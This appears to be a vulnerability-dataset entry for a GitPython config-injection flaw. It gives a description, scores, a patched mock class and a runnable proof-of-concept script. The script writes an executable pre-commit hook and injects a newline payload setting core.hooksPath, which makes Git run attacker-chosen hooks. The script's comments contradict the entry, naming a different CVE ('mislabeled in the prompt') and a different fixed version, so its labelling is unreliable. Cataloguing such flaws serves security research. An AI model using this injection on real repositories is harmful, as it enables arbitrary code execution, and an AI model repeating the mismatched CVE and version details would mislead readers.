VAITP Dataset

← Back to the dataset

CVE-2026-44244

GitPython config injection allows RCE via a malicious `core.hooksPath`.

  • CVSS 7.8
  • CWE-94
  • Input Validation and Sanitization
  • Local

GitPython is a python library used to interact with Git repositories. Prior to version 3.1.49, GitConfigParser.set_value() passes values to Python's configparser without validating for newlines. GitPython's own _write() converts embedded newlines into indented continuation lines (e.g. \n becomes \n\t), but Git still accepts an indented [core] stanza as a section header — so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path. This issue has been patched in version 3.1.49.

CVSS base score
7.8
Published
2026-05-07
OWASP
A03 Injection
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Command Injection
Accessibility scope
Local
Impact
Arbitrary Code Execution
Affected component
GitPython
Fixed by upgrading
Yes

Solution

Upgrade GitPython to version 3.1.49 or later.

Vulnerable code sample

import git
import os
import tempfile
import shutil
import sys

# This code requires a vulnerable version of GitPython, e.g., pip install GitPython==3.1.40
# It demonstrates CVE-2024-22195 (mislabeled in the prompt).

repo_dir = None
try:
    # 1. Setup a temporary environment
    repo_dir = tempfile.mkdtemp()
    evil_hooks_dir = os.path.join(repo_dir, "evil_hooks")
    os.makedirs(evil_hooks_dir)

    # 2. Initialize a git repository to attack
    repo = git.Repo.init(repo_dir)

    # 3. Create a malicious hook script
    # This script will be executed by git during operations like 'commit'
    hook_path = os.path.join(evil_hooks_dir, "pre-commit")
    with open(hook_path, "w") as f:
        # Use Python to avoid shell differences and print to stderr
        f.write(f"#!{sys.executable}\n")
        f.write("import sys\n")
        f.write("sys.stderr.write('!!! MALICIOUS HOOK EXECUTED !!!\\n')\n")
        f.write("sys.exit(1)\n") # Exit with an error to show the hook ran and stopped the commit
    os.chmod(hook_path, 0o755) # Make the hook executable

    # 4. Craft the malicious payload for the config
    # The newline character is the core of the vulnerability.
    # It allows injecting a new '[core]' section into the .git/config file.
    malicious_value = f"any_value\n[core]\nhooksPath = {evil_hooks_dir}"

    # 5. Use the vulnerable function to write the payload
    # GitPython < 3.1.41 does not sanitize the newline in the value.
    config_writer = repo.config_writer()
    config_writer.set_value("user", "name", malicious_value)
    config_writer.release() # This writes the manipulated config to .git/config

    # 6. Trigger the hook by performing a git operation
    # Create a file to commit
    with open(os.path.join(repo_dir, "some_file.txt"), "w") as f:
        f.write("content")
    repo.index.add(["some_file.txt"])

    print("Attempting to commit. This should fail and trigger the malicious hook...")
    # This commit will fail because the pre-commit hook exits with status 1.
    # The proof of exploitation is seeing the hook's message in the stderr.
    try:
        repo.index.commit("A commit that will be blocked by the hook")
    except git.GitCommandError as e:
        print("\n--- Captured GitCommandError ---")
        print(f"Stderr: {e.stderr.strip()}")
        if "MALICIOUS HOOK EXECUTED" in e.stderr:
            print("\nSUCCESS: The vulnerability was successfully demonstrated.")
        else:
            print("\nFAILURE: The hook did not execute as expected.")
    
finally:
    # 7. Clean up the temporary repository
    if repo_dir and os.path.exists(repo_dir):
        shutil.rmtree(repo_dir)

Patched code sample

import configparser
from typing import Any


class GitConfigParser:
    """
    A mock class to represent the structure where the fix was applied.
    In the actual library, this class interacts with git config files.
    """

    def __init__(self):
        # This is a stand-in for the real ConfigParser instance.
        self._config = configparser.ConfigParser()

    def set_value(self, section: str, option: str, value: Any) -> "GitConfigParser":
        """Sets the value of a configuration option."""
        if not self._config.has_section(section):
            self._config.add_section(section)

        s_value = str(value)

        # FIX: This check was added to patch the vulnerability.
        # It explicitly disallows newline characters in configuration values.
        # This prevents an attacker from injecting a new configuration section
        # (e.g., a malicious '[core]' section with a 'hooksPath') by
        # embedding it within a seemingly harmless configuration value string.
        if "\n" in s_value:
            raise ValueError("dangerous value containing newline")

        self._config.set(section, option, s_value)
        return self

Payload

'value\n[core]\nhooksPath = /path/to/attacker/hooks'

Cite this entry

@misc{vaitp:cve202644244,
  title        = {{GitPython config injection allows RCE via a malicious `core.hooksPath`.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-44244},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-44244/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::